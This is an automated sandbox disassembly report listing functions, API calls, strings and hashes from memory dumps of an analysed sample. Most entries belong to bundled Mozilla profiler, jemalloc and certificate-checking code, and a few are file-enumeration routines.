GeckoMain, xrefs: 6C6F5554, 6C6F55D5
- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB, xrefs: 6C6F5D2B
MOZ_BASE_PROFILER_HELP, xrefs: 6C6F5511
- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s, xrefs: 6C6F5D1C
MOZ_PROFILER_STARTUP_DURATION, xrefs: 6C6F5749
Q^, xrefs: 6C6F57BC
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C6F54A3
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6C6F5791
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6C6F5766
- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s, xrefs: 6C6F5D24
MOZ_PROFILER_STARTUP_NO_BASE, xrefs: 6C6F56E3
[I %d/%d] profiler_init, xrefs: 6C6F564E
MOZ_PROFILER_STARTUP, xrefs: 6C6F55E1
[I %d/%d] -> This process is excluded and won't be profiled, xrefs: 6C6F5BBE
MOZ_PROFILER_STARTUP_FEATURES, xrefs: 6C6F57AE
[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u, xrefs: 6C6F5C56
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d, xrefs: 6C6F584E
- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s, xrefs: 6C6F5D01
- MOZ_PROFILER_STARTUP_DURATION not a valid float: %s, xrefs: 6C6F5CF9
[I %d/%d] - MOZ_PROFILER_STARTUP is set, xrefs: 6C6F5717
[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d, xrefs: 6C6F5AC9
[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s, xrefs: 6C6F5B38
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C6F548D
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6C6F57C5
MOZ_BASE_PROFILER_LOGGING, xrefs: 6C6F54B9
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6C6F5724

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: getenv$CriticalSection$Current$Thread$EnterLeaveProcess$ExclusiveLock_getpidfree$AcquireCreation@Init_thread_footerReleaseStamp@mozilla@@TerminateTimeV12@exitmemsetmoz_xmalloc
String ID: - MOZ_PROFILER_STARTUP_DURATION not a valid float: %s$- MOZ_PROFILER_STARTUP_ENTRIES not a valid integer: %s$- MOZ_PROFILER_STARTUP_ENTRIES unit must be one of the following: KB, KiB, MB, MiB, GB, GiB$- MOZ_PROFILER_STARTUP_FEATURES_BITFIELD not a valid integer: %s$- MOZ_PROFILER_STARTUP_INTERVAL not a valid float: %s$GeckoMain$MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_HELP$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING$MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_DURATION$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL$MOZ_PROFILER_STARTUP_NO_BASE$Q^$[I %d/%d] -> This process is excluded and won't be profiled$[I %d/%d] - MOZ_PROFILER_STARTUP is set$[I %d/%d] - MOZ_PROFILER_STARTUP_ENTRIES = %u$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FEATURES_BITFIELD = %d$[I %d/%d] - MOZ_PROFILER_STARTUP_FILTERS = %s$[I %d/%d] profiler_init
API String ID: 3686969729-2639675677
Opcode ID: 012a4862ce0a6171d60df0a7157850993da981e3c571fd5c19896e6248b305ba
Instruction ID: 1929d0828e488b959871d2f583612d9a4410f10caab4657ee51cdb5a994ff8c0
Opcode Fuzzy Hash: 012a4862ce0a6171d60df0a7157850993da981e3c571fd5c19896e6248b305ba
Instruction Fuzzy Hash: AB221670A043009BDB009F76895C76A7BF6AF47308F04853AF86697E41EB34994ACB5A

Function 6C6F6C80 Relevance: 95.2, APIs: 50, Strings: 4, Instructions: 727encryptionfileCOMMON

Download Yara Rule

APIs

CryptQueryObject.CRYPT32(00000001,?,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C6F6CCC
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C6F6D11
moz_xmalloc.MOZGLUE(0000000C), ref: 6C6F6D26

Part of subcall function 6C6FCA10: malloc.MOZGLUE(?), ref: 6C6FCA26

memset.VCRUNTIME140(00000000,00000000,0000000C), ref: 6C6F6D35
CryptMsgGetParam.CRYPT32(00000000,00000007,00000000,00000000,0000000C), ref: 6C6F6D53
CertFindCertificateInStore.CRYPT32(00000000,00010001,00000000,000B0000,00000000,00000000), ref: 6C6F6D73
free.MOZGLUE(00000000), ref: 6C6F6D80
CertGetNameStringW.CRYPT32 ref: 6C6F6DC0
moz_xmalloc.MOZGLUE(00000000), ref: 6C6F6DDC
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6F6DEB
CertGetNameStringW.CRYPT32(00000000,00000004,00000000,00000000,00000000,00000000), ref: 6C6F6DFF
CertFreeCertificateContext.CRYPT32(00000000), ref: 6C6F6E10
CryptMsgClose.CRYPT32(00000000), ref: 6C6F6E27
CertCloseStore.CRYPT32(00000000,00000000), ref: 6C6F6E34
CreateFileW.KERNEL32 ref: 6C6F6EF9
moz_xmalloc.MOZGLUE(00000000), ref: 6C6F6F7D
memset.VCRUNTIME140(00000000,00000000,00000000), ref: 6C6F6F8C
memset.VCRUNTIME140(00000002,00000000,00000208), ref: 6C6F709D
CryptQueryObject.CRYPT32(00000001,00000002,00000400,00000002,00000000,?,?,?,?,?,00000000), ref: 6C6F7103
free.MOZGLUE(00000000), ref: 6C6F7153
CloseHandle.KERNEL32(?), ref: 6C6F7176
__Init_thread_footer.LIBCMT ref: 6C6F7209
__Init_thread_footer.LIBCMT ref: 6C6F723A
__Init_thread_footer.LIBCMT ref: 6C6F726B
__Init_thread_footer.LIBCMT ref: 6C6F729C
__Init_thread_footer.LIBCMT ref: 6C6F72DC
__Init_thread_footer.LIBCMT ref: 6C6F730D
memset.VCRUNTIME140(?,00000000,00000110), ref: 6C6F73C2
VerSetConditionMask.NTDLL ref: 6C6F73F3
VerSetConditionMask.NTDLL ref: 6C6F73FF
VerSetConditionMask.NTDLL ref: 6C6F7406
VerSetConditionMask.NTDLL ref: 6C6F740D
VerifyVersionInfoW.KERNEL32(?,00000033,00000000), ref: 6C6F741A
moz_xmalloc.MOZGLUE(?), ref: 6C6F755A
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6F7568
CryptBinaryToStringW.CRYPT32(00000000,00000000,4000000C,00000000,?), ref: 6C6F7585
_wcsupr_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6C6F7598
free.MOZGLUE(00000000), ref: 6C6F75AC

Part of subcall function 6C71AB89: EnterCriticalSection.KERNEL32(6C76E370,?,?,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284), ref: 6C71AB94
Part of subcall function 6C71AB89: LeaveCriticalSection.KERNEL32(6C76E370,?,6C6E34DE,6C76F6CC,?,?,?,?,?,?,?,6C6E3284,?,?,6C7056F6), ref: 6C71ABD1

Strings

wintrust.dll, xrefs: 6C6F72CD
CryptCATAdminReleaseCatalogContext, xrefs: 6C6F72C8
SHA256, xrefs: 6C6F6EC0
(, xrefs: 6C6F768A

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CryptInit_thread_footermemset$Cert$ConditionMaskmoz_xmalloc$CloseStringfree$CertificateCriticalNameObjectParamQuerySectionStore$BinaryContextCreateEnterFileFindFreeHandleInfoLeaveVerifyVersion_wcsupr_smalloc
String ID: ($CryptCATAdminReleaseCatalogContext$SHA256$wintrust.dll
API String ID: 3256780453-3980470659
Opcode ID: 8a4e8e9cdeba34821de0f4cce47706cc1cfd0a8868ac195ac8683122064a900b
Instruction ID: ecb8d25ae784e25ca7da16df3214f0468ccb3f3de50fcd9fb5c002f7de35f2c3
Opcode Fuzzy Hash: 8a4e8e9cdeba34821de0f4cce47706cc1cfd0a8868ac195ac8683122064a900b
Instruction Fuzzy Hash: 2452E6B1A003159BEB21CF26CD88BAA77B9FF46704F0441A9E91897740DB70AF85CF65

Function 6C720DD0 Relevance: 83.9, APIs: 36, Strings: 10, Instructions: 3368COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C720F1F
LeaveCriticalSection.KERNEL32(?), ref: 6C720F99
memcpy.VCRUNTIME140(?,?,?), ref: 6C720FB7
EnterCriticalSection.KERNEL32(?), ref: 6C720FE9
memset.VCRUNTIME140(?,000000E5,00000000), ref: 6C721031
LeaveCriticalSection.KERNEL32(?), ref: 6C7210D0
EnterCriticalSection.KERNEL32(?), ref: 6C72117D
memset.VCRUNTIME140(?,000000E5,?), ref: 6C721C39
EnterCriticalSection.KERNEL32(6C76E744), ref: 6C723391
LeaveCriticalSection.KERNEL32(6C76E744), ref: 6C7233CD
LeaveCriticalSection.KERNEL32(?), ref: 6C723431
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C723437

Strings

Compile-time page size does not divide the runtime one., xrefs: 6C723946
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.), xrefs: 6C7237A8
MOZ_RELEASE_ASSERT(mNode), xrefs: 6C723559, 6C72382D, 6C723848
MOZ_CRASH(), xrefs: 6C723950
MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?), xrefs: 6C7237BD
MOZ_RELEASE_ASSERT(!aArena || arena == aArena), xrefs: 6C723793
<jemalloc>, xrefs: 6C723941, 6C7239F1
MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?), xrefs: 6C7237D2
: (malloc) Unsupported character in malloc options: ', xrefs: 6C723A02
MALLOC_OPTIONS, xrefs: 6C7235FE

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memset$_errnomemcpy
String ID: : (malloc) Unsupported character in malloc options: '$<jemalloc>$Compile-time page size does not divide the runtime one.$MALLOC_OPTIONS$MOZ_CRASH()$MOZ_RELEASE_ASSERT(!aArena || arena == aArena)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x01U)) != 0) (Double-free?)$MOZ_RELEASE_ASSERT((mapelm->bits & ((size_t)0x20U)) == 0) (Freeing in decommitted page.)$MOZ_RELEASE_ASSERT((run->mRegionsMask[elm] & (1U << bit)) == 0) (Double-free?)$MOZ_RELEASE_ASSERT(mNode)
API String ID: 3040639385-4173974723
Opcode ID: 896954ba8e34cbad2b6819248525543a6c2166a1446e0c3d6418ae69ebe2d543
Instruction ID: b162bc282f6235be15fc21ef8f7358bacb80aba060b203c5e40258aa38300752
Opcode Fuzzy Hash: 896954ba8e34cbad2b6819248525543a6c2166a1446e0c3d6418ae69ebe2d543
Instruction Fuzzy Hash: B6538C71A157018FD304CF29C640615FBE1FF89328F29C6ADE8699BB91D77AE841CB81

Function 6C7434A0 Relevance: 61.0, APIs: 33, Strings: 1, Instructions: 1467COMMON

Download Yara Rule

APIs

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743527
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C74355B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7435BC
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7435E0
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C74363A
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743693
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7436CD
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743703
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C74373C
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743775
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C74378F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743892
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7438BB
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743902
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743939
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743970
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7439EF
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743A26
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743AE5
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743E85
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743EBA
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C743EE2

Part of subcall function 6C746180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000024), ref: 6C7461DD
Part of subcall function 6C746180: memcpy.VCRUNTIME140(00000000,00000024,-00000070), ref: 6C74622C

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C7440F9
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C74412F
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C744157

Part of subcall function 6C746180: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6C746250
Part of subcall function 6C746180: free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C746292

floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C74441B
floor.API-MS-WIN-CRT-MATH-L1-1-0 ref: 6C744448
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C74484E
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C744863
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C744878
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 6C744896
free.MOZGLUE ref: 6C74489F

Strings

, xrefs: 6C744CD2

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: floor$free$malloc$memcpy
String ID:
API String ID: 3842999660-3916222277
Opcode ID: 1c663e688009c828276b0d8369cb31e7def4c605e11b760221b0c6148c184221
Instruction ID: a5964939750b7049626717658126eaedc7651bd0c6489cdb55737907bc127e60
Opcode Fuzzy Hash: 1c663e688009c828276b0d8369cb31e7def4c605e11b760221b0c6148c184221
Instruction Fuzzy Hash: B2F25A74908B80CFC721CF29C18469AFBF1FF89344F518A6ED99997712DB319896CB42

Function 6C6F64C0 Relevance: 52.9, APIs: 24, Strings: 6, Instructions: 406memoryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(detoured.dll), ref: 6C6F64DF
GetModuleHandleW.KERNEL32(_etoured.dll), ref: 6C6F64F2
GetModuleHandleW.KERNEL32(nvd3d9wrap.dll), ref: 6C6F6505
GetModuleHandleW.KERNEL32(nvdxgiwrap.dll), ref: 6C6F6518
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C6F652B
memcpy.VCRUNTIME140(?,?,?), ref: 6C6F671C
GetCurrentProcess.KERNEL32 ref: 6C6F6724
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C6F672F
GetCurrentProcess.KERNEL32 ref: 6C6F6759
FlushInstructionCache.KERNEL32(00000000,00000000,00000000), ref: 6C6F6764
VirtualProtect.KERNEL32(?,00000000,?,?), ref: 6C6F6A80
GetSystemInfo.KERNEL32(?), ref: 6C6F6ABE
__Init_thread_footer.LIBCMT ref: 6C6F6AD3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6F6AE8
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C6F6AF7

Strings

nvdxgiwrap.dll, xrefs: 6C6F6513
nvd3d9wrap.dll, xrefs: 6C6F6500
user32.dll, xrefs: 6C6F6526
_etoured.dll, xrefs: 6C6F64ED
SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows, xrefs: 6C6F6798
detoured.dll, xrefs: 6C6F64DA

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: HandleModule$CacheCurrentFlushInstructionProcessfree$InfoInit_thread_footerProtectSystemVirtualmemcpy
String ID: SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows$_etoured.dll$detoured.dll$nvd3d9wrap.dll$nvdxgiwrap.dll$user32.dll
API String ID: 487479824-2878602165
Opcode ID: 412b88778723a8a8271628a36fe77767577714f011d2bc0cfe0ab0f2df9818bd
Instruction ID: 1c85579f4ff0b22b91071ed59ca6cbf21283adce13c643abcfa80d228b1b69c7
Opcode Fuzzy Hash: 412b88778723a8a8271628a36fe77767577714f011d2bc0cfe0ab0f2df9818bd
Instruction Fuzzy Hash: D5F105709052199FDB20CF25CD487EAB7B6EF06318F1442E9E829A3641D731EE86CF94

Function 004133C0 Relevance: 45.8, APIs: 20, Strings: 6, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 004133DC
FindFirstFileA.KERNEL32(?,?), ref: 004133F3
lstrcat.KERNEL32(?,?), ref: 00413445
StrCmpCA.SHLWAPI(?,00420F40), ref: 00413457
StrCmpCA.SHLWAPI(?,00420F44), ref: 0041346D
FindNextFileA.KERNEL32(000000FF,?), ref: 00413777
FindClose.KERNEL32(000000FF), ref: 0041378C

Strings

%s\%s, xrefs: 0041348A
%s\*, xrefs: 004133D0
%s%s, xrefs: 004135BD
%s\%s\%s, xrefs: 0041355A
18A, xrefs: 00413792, 00413755, 00413679, 00413419, 0041367C, 00413758
%s\%s, xrefs: 0041357F

Memory Dump Source

Source File: 00000000.00000002.2136699758.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2136699758.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2136699758.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*$18A
API String ID: 1125553467-3461493422
Opcode ID: 5cc61c22e0d64447a01a93ad15b9fe953fd84475edf738f88382c0ecc67c970f
Instruction ID: eff374fbcd62c6e18ab1f1aaab25817c9043c0eeef42efb3c17498ac9b2729e3
Opcode Fuzzy Hash: 5cc61c22e0d64447a01a93ad15b9fe953fd84475edf738f88382c0ecc67c970f
Instruction Fuzzy Hash: 93A18FB1A00218ABCB34DFA4DC85FEE7379BF48305F448589E50D96181EB789B89CF65

Function 6C74C4A0 Relevance: 35.2, APIs: 26, Instructions: 2665COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C74C5F9
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C74C6FB
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C74C74D
memset.VCRUNTIME140(?,00000000,00004008), ref: 6C74C7DE
memset.VCRUNTIME140(?,00000000,00004014), ref: 6C74C9D5
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C74CC76
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C74CD7A
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C74DB40
memcpy.VCRUNTIME140(?,?,?), ref: 6C74DB62
memcpy.VCRUNTIME140(?,?,?), ref: 6C74DB99
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C74DD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6C74DE95
memcpy.VCRUNTIME140(?,?,?), ref: 6C74E360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6C74E432
memcpy.VCRUNTIME140(?,?,?), ref: 6C74E472

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: be2b4fb08ab4fa8cf70d5ffb3685096f2bb65e099ad4e4f94ae6228c468225fe
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8C33AC71E0021ACFCB04CFA8C9806ADFBF2FF99310F298269D955AB755D731A945CB90

Function 6C70ED10 Relevance: 32.4, APIs: 16, Strings: 2, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6C70EE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6C70EFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6C711695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C7116B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6C711770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C711A3E

Strings

~qnl, xrefs: 6C70ED10
~qnl, xrefs: 6C70ED13

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID: ~qnl$~qnl
API String ID: 3693777188-1338331688
Opcode ID: ab6c6472a3d71508be2a132db6d986821a445fc11167b754c7d935237ca51049
Instruction ID: 4bac4460d78e652bcd1175e1cc83bb69684e910f1d4d13f119d53c2479b3f411
Opcode Fuzzy Hash: ab6c6472a3d71508be2a132db6d986821a445fc11167b754c7d935237ca51049
Instruction Fuzzy Hash: 47B32A71E04219CFCB14CFA8C990A9DB7B2FF49314F2981A9D459ABB45D730AD86CF90

Function 6C6FFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C76E7B8), ref: 6C6FFF81
LeaveCriticalSection.KERNEL32(6C76E7B8), ref: 6C70022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6C700240
EnterCriticalSection.KERNEL32(6C76E768), ref: 6C70025B
LeaveCriticalSection.KERNEL32(6C76E768), ref: 6C70027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C6FFE99, 6C6FFEB7, 6C6FFED3, 6C700DB8, 6C700DD3, 6C7019B4
: (malloc) Error in VirtualFree(), xrefs: 6C700D67, 6C700D7B, 6C700DAC
<jemalloc>, xrefs: 6C700D62, 6C700D76, 6C700DA7

Memory Dump Source

Source File: 00000000.00000002.2167578707.000000006C6E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C6E0000, based on PE: true

Associated: 00000000.00000002.2167526315.000000006C6E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167771323.000000006C75D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2167888264.000000006C76E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2168007957.000000006C772000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c6e0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 447d55ecc35580e057a4a892f56ebe8b5235020c9a5f2b3cdb02306458944b80
Instruction ID: b7678eb39a4c4591f4798697f7ceeda70b185765fd66c389e56ca5befab96ea3
Opcode Fuzzy Hash: 447d55ecc35580e057a4a892f56ebe8b5235020c9a5f2b3cdb02306458944b80
Instruction Fuzzy Hash: 2EC2C3B1B057418FD714CF29CA80716BBE1BF85328F28C66DE8A98B795D771E841CB81

Function 00414050 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00414060
HeapAlloc.KERNEL32(00000000), ref: 00414067
wsprintfA.USER32 ref: 00414086
FindFirstFileA.KERNEL32(?,?), ref: 0041409D
StrCmpCA.SHLWAPI(?,00420F94), ref: 004140CB
StrCmpCA.SHLWAPI(?,00420F98), ref: 004140E1
FindNextFileA.KERNEL32(000000FF,?), ref: 0041416B
